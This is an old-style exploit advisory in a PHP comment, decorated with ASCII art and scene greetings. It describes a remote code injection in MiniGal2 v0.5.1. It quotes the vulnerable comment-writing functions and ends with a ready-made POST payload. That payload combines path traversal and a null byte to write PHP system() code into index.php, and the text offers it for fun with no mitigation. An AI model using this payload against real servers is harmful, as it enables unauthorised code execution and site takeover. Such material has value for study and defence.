MG2 0.5.1 (filename) Remote Code Execution Vulnerability

                                                <?php  
 /**********000000000000----------------------000\\\
/*-00--------++++++++++++++++++_______________)_)_________
 -- --
   -    MiniGal2(MG2) v0.5.1 remote Code Injection    |
  ___     Z okazji urodzin ¿yczê sobie wszystkiego zajebistego
                 Zawsze na odwrót lol    '''''_---"
                    ___)()())0       ------------
     \                  A-L           |    """"""
      '--==9**        Victoria  heh      .
------       gr:SID.PSYCHO ;> and rest and ALL
       ---------++++++++++++=================))    
 ___ --             =======--
            ./..................
=======--////-
    VULN:[includes\mg2_functions.php]
    function writecomments($filename)  __LINE 555
  ---------
        function writecomments($filename) {
	    $filename = "pictures/" . $filename;
             unset($buffer);
             if (count($this->comments) != 0) {
             for ($i=0; $i < count($this->comments); $i++){
             for ($j=0; $j < count($this->comments[$i]); $j++){
              $buffer .= "*" . $this->comments[$i][$j];
             }
              $buffer .= "\n";
             $fd = fopen($filename,"w+");
              if (flock($fd, LOCK_EX)) { // do an exclusive lock
              ftruncate($fd, 0);
              fwrite($fd, $buffer);
              flock($fd, LOCK_UN); // release the lock
              fclose($fd);
	        $this->log("Wrote comment to '$filename'");
              } else {
	        $this->log("ERROR: Could not lock commentfile '$filename' for writing");
              echo "MG2 ERROR: Could not lock $filename (function 'writecomments')";
             }
            }
         } else unlink($filename);
     }
         /\/\/\/\/\/\/\/\/\/\/\

        function addcomment() {
        $_REQUEST['filename'] = $this->charfix($_REQUEST['filename']);
        $_REQUEST['input'] = $this->charfix($_REQUEST['input']);
        $_REQUEST['email'] = $this->charfix($_REQUEST['email']);
        $_REQUEST['name'] = $this->charfix($_REQUEST['name']);
        $_REQUEST['input'] = strip_tags($_REQUEST['input'], "<b></b><i></i><u></u><strong></strong><em></em>");
        $_REQUEST['input'] = str_replace("\n","<br />",$_REQUEST['input']);
        $_REQUEST['input'] = str_replace("\r","",$_REQUEST['input']);
        if ($_REQUEST['input'] != "" && $_REQUEST['name'] != "" && $_REQUEST['email'] != "") {
         $this->readcomments("pictures/" . $_REQUEST['filename'] . ".comment");
         $comment_exists = $this->select($_REQUEST['input'],$this->comments,3,1,0);
         $comment_exists = $this->select($_REQUEST['name'],$comment_exists,1,1,0);
         $comment_exists = $this->select($_REQUEST['email'],$comment_exists,2,1,0);
         if (count($comment_exists) == 0) {
           $this->comments[] = array(time(), $_REQUEST['name'], $_REQUEST['email'], $_REQUEST['input']);
           $this->writecomments($_REQUEST['filename'] . ".comment");
         .....etc //
................-------------------------------------------=====================
==== As you can se THE  input data is not enough filtered 
      We can write self code in to the file 
      by sending proper POSTS 
      ex:
      POST input=a&name=/ <?php system('dir'); ?> // &email=c&action=addcomment&filename=../index.php%00&id=5
      THE END
     
-------*/
// ALFONS LUJA just 4 fUn :P 
?>